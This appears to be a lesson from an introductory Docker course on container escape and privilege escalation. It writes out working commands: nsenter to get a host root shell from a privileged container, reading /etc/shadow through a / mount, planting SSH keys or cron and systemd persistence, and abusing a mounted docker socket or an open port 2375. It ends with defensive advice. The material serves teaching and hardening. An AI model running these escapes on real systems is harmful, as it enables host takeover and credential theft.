puck tools — test your egress policy against real C2 traffic →

Docker as an attack surface

What do you do when you land and you have access to the docker socket for some reason?

So far we have looked at what you can do with docker. Now let’s take a quick look at the surface area if you are attacking it. This is an intro course so we will stick to the basics (more to come).

First question: am I in a container

$ ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 Aug 18 02:49 /.dockerenv

.dockerenv is an empty file at the root, created by the Docker daemon. It is the fastest tell, though it is trivially deleted and absent under other runtimes.

Another plac to check is /proc/1/cgroup, which used to name a docker path. On a modern cgroup v2 host it does not:

$ docker run --rm ubuntu:22.04 cat /proc/1/cgroup
0::/

That 0::/ is itself informative. On a normal host PID 1 sits in a named cgroup, so a bare root here says namespaced. Other reliable signals: PID 1 is not systemd or init, /proc/self/mountinfo mentions overlay on /, and ip -br a shows a single eth0 with a /16 in 172.17.0.0/16.

What you were given

Your capabilities decide what is possible from here. Docker’s default set is narrower than root:

$ grep -E 'CapBnd|CapEff' /proc/self/status
CapBnd:	00000000a80425fb
CapEff:	00000000a80425fb

$ capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

By default it is pretty secure, Note what is missing: cap_sys_admin, cap_sys_ptrace, cap_sys_module, cap_net_admin. No mounting, no loading kernel modules, no tracing processes outside your namespace.

How about the same check inside a privileged container:

$ docker run --rm --privileged ubuntu:22.04 grep CapEff /proc/self/status
CapEff:	000001ffffffffff

Every bit set. --privileged also disables seccomp and AppArmor and gives you the host’s devices in /dev. At that point you are root on the host with an extra step.

CapEff: 000001ffffffffff is worth memorising. It is a one line answer to “how much trouble can I cause from here”.

Shared PID namespace

--pid=host puts the container in the host’s PID namespace, so it can see, and signal, every process on the machine. Combine it with --privileged and nsenter walks you into PID 1’s namespaces, which are the host’s:

$ docker run --rm --privileged --pid=host ubuntu:22.04 nsenter -t 1 -m -u -i -n hostname
devbox

-t 1 targets init, and -m -u -i -n are its mount, UTS, IPC and network namespaces. Give it sh instead of hostname and you have an interactive root shell on the host, from a container, in one command.

This is how you reach the Linux VM under Docker Desktop when you need to poke at the kernel your containers are actually using:

$ docker run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
/ # uname -a
Linux docker-desktop 5.15.49-linuxkit #1 SMP PREEMPT Tue Sep 13 07:51:32 UTC 2022 aarch64 Linux

The filesystem was handed to you

No flags needed for this one beyond a mount somebody wrote themselves:

$ docker run --rm -v /:/host ubuntu:22.04 sh -c 'ls /host | head -5; grep -c . /host/etc/shadow'
bin
bin.usr-is-merged
boot
dev
etc
34

Full host filesystem, read and write, as root. From there: add a key to /host/root/.ssh/authorized_keys, drop a unit in /host/etc/systemd/system, or edit a cron file. Nothing clever required.

Partial mounts are worth just as much attention. /etc gives you passwd and shadow. /root gives you keys and history. A mounted /var/log lets you tamper with the evidence. When you see a bind mount in someone’s compose file, read what it actually exposes.

The socket is the whole game

This is the one you will meet most, because so many CI systems, monitoring agents and “docker in docker” setups do it deliberately:

services:
  agent:
    image: some/agent
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock

That socket is an API to a root daemon, with no authentication. A container holding it can drive the whole host:

docker in docker

$ docker run --rm -v /var/run/docker.sock:/var/run/docker.sock docker:cli docker ps --format '{{.Names}}'
serene_moser
dfh-lab-juice-shop-1
dfh-lab-kali-1
dfh-lab-web-dvwa-1

We are inside a container, listing the host’s containers. The first name in that list is the container we are running in. The escape is one more step: ask the daemon for a new container with the host filesystem in it.

$ docker run --rm -v /var/run/docker.sock:/var/run/docker.sock docker:cli \
    docker run --rm -v /:/host alpine head -1 /host/etc/hostname
slopkiddie

The outer container asked the host’s daemon to start a second container, mounted / into it, and read the host’s hostname out. Swap head for a write and the game is over.

Two corollaries that follow from the same fact:

  • Membership of the docker group is root. Not “close to root”, not “root with extra steps you might not manage”. A user in that group can run the command above. Treat docker group membership on an engagement exactly like a sudo entry with NOPASSWD.
  • A daemon on TCP is worse. -H tcp://0.0.0.0:2375 publishes that same unauthenticated API to the network. It still shows up in the wild. If you find 2375 or 2376 open, try docker -H tcp://target:2375 ps before anything fancier.

The checklist

When you land in a container, in order:

$ ls -la /.dockerenv                        # confirm where you are
$ grep CapEff /proc/self/status             # 000001ffffffffff means privileged
$ ls -la /var/run/docker.sock               # the socket, mounted in
$ mount | grep -E ' / | /host| /etc| /root' # what came from the host
$ ls /dev                                   # sda, sdb visible means privileged
$ ip -br a                                  # which networks you can reach
$ env                                       # secrets, absurdly often

Environment variables are the default way to feed credentials to a container, and they are readable by every process in the container, visible in docker inspect, and frequently written into the image itself.

When you are on the defending side, the same list inverts into what to fix: drop --privileged, do not mount the socket into anything that does not absolutely need it, mount specific paths read only instead of /, drop capabilities you do not use, and keep secrets out of the environment.

It is a good idea to not treat containers a security boundary. Same kernel, same rules as lesson 2. Treat a container as a convenience, and reach for a VM when you need a boundary.

One lesson to go: cleaning up, and moving your image to a machine with no internet.